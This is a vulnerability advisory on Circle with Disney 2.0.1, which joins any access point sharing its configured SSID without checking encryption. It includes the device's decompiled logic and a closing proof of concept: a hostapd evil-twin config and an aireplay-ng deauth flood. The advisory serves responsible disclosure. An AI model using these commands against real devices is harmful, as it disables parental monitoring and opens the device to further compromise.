### SummaryAn exploitable vulnerability exists in the WiFi management of Circle with Disney. A crafted Access Point with the same name as the legitimate one, can be used to make Circle connect to an untrusted network. An attacker needs to setup an Access Point reachable by the device and to send a series of spoofed "deauth" packets to trigger this vulnerability.### Tested VersionsCircle with Disney 2.0.1### Product URLshttps://meetcircle.com/### CVSSv3 Score6.5 – CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H### CWECWE-284: Improper Access Control### DetailsCircle with Disney is a network device used to monitor internet use of children on a given network.Circle can connect to a home network either via WiFi or wired connection. When no cable connection is possible, Circle will switch to WiFi, which was set-up during the initial configuration.The monitor function `sub_40AD84` in the `configd` binary keeps track of the wired interface connectivity by reading the file `/sys/class/net/eth0/carrier` every second. If the ethernet cable is disconnected, the function switches to the WiFi interface by calling `sub_40A9D4`. At high level this function works as follow:“`def sub_40A9D4(): ssid = conf_get("wifi/ssid") encryption = conf_get("wifi/encryption") key = conf_get("wifi/key") if !exists("/tmp/ap_list.out"): system("/mnt/shares/usr/bin/scripts/aplist_create.sh") # [1] (channel, security, hidden) = parse_ap_list(ssid) # [2] write_file("/tmp/wifi_ssid", ssid) write_file("/tmp/wifi_ssid_escaped", escape(ssid)) write_file("/tmp/wifi_password", key) system('/mnt/shares/usr/bin/scripts/restart_wifi.sh %s "%s" "%s" ' % \ # [3] (channel, security, hidden))“`Note that `conf_get` refers to the operation of retrieving an element from "configure.xml".In short, `sub_40A9D4` retrieves the configured SSID from "configure.xml", then using `parse_ap_list` (sub_40A640) [2] retrieves the current channel, security (WPA2, WEP or none) and whether the SSID is hidden or not, from a recent Access Point scan. These parameters are then passed to the `restart_wifi.sh` script [3].`aplist_create.sh` [1] will be called to make sure that "ap_list.out" is filled with a list of existing Access Points. Its contents are shown below.“`#!/bin/shifconfig ra0 upiwinfo ra0 scan > /tmp/ap_list.out # [4]““iwinfo` [4] prints a list of Access Points detected by `ra0`, every entry has the following form:“`Cell 01 – Address: 11:22:33:44:55:66 ESSID: "valid-ssid" Mode: Master Channel: 1 Signal: -22 dBm Quality: 70/70 Encryption: WPA2 PSK (CCMP)“`What `parse_ap_list` [2] does is parsing each of these entries in "ap_list.out", for finding the expected SSID and returning its related "Encryption" and "Channel" values. At high level it works as follows:“`def parse_ap_list(ssid): essid_str = 'ESSID: "%s"' % ssid ch_str = 'Channel: ' enc_str = ' Encryption: ' channel = '' encryption = '' aplist = open("/tmp/ap_list.out") for line in aplist.next(): # for each line in ap_list.out if essid_str not in line: continue # proceed only with expected SSID line = aplist.next() # get next line if ch_str in line: channel = str(int(line[line.index(ch_str) + len(ch_str):])) # extract integer after ch_str elif enc_str in line: encryption = line[line.index(enc_str) + len(enc_str):] # extract text after enc_str return (channel, encryption) …“`When calling `restart_wifi.sh` [3] the wireless interface tries to establish a connection to the configured Access Point. Its main function is to populate the configuration file in `/tmp/wpa_supplicant.conf` based on the parameters passed to it, and finally restart `wpa_supplicant`.When the `iwinfo` output for the configured Access Point contains the line "Encryption: WPA2 PSK (CCMP)", a generated `wpa_supplicant.conf` looks as follows:“`ctrl_interface=/var/run/wpa_supplicantnetwork={ ssid=P"homenet" bgscan="" psk=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855“`Whereas if the line contains "Encryption: none" the generated configuration will be:“`ctrl_interface=/var/run/wpa_supplicantnetwork={ ssid=P"homenet" bgscan="" key_mgmt=NONE“`As we can see from the `parse_ap_list` logic, the only variable used to identify the configured Access Point is its ESSID, and the encryption defined in `configure.xml` is not taken into account.This way an attacker to setup a crafted Access Point with the same name as the legitimate one and to make Circle connect to it. The device will continue to function but won't be able to apply any filtering over the original network, moreover this allows an attacker to conduct further attacks against the device that may be possible only on a common subnetwork.As an example, this vulnerability would allow an external attacker to apply TALOS-2017-0396 and TALOS-2017-0371 to completely compromise the device.### Exploit Proof-of-ConceptThe following proof of concept shows how to make the device to connect to a fake Access Point managed by an attacker.“`$ cat << EOF > hostapd.confinterface=wlan0channel=1ssid2=P"$WIFI_ROUTER_SSID"EOF$ hostapd -B ./hostapd.conf$ airmon-ng start wlan0 1$ aireplay-ng –deauth 10000 -a $WIFI_ROUTER_MAC -c $CIRCLE_MAC mon0“`First an Access Point is created with the same name of the legitimate Access Point to which Circle is currently connected to, but without encryption.Then, a series of spoofed "deauth" packets are sent to the device, so that Circle will drop the active connection. Circle will then rescan the available Access Points and should eventually connect to the attacker's one.### Timeline* 2017-09-20 – Vendor Disclosure* 2017-10-31 – Public Release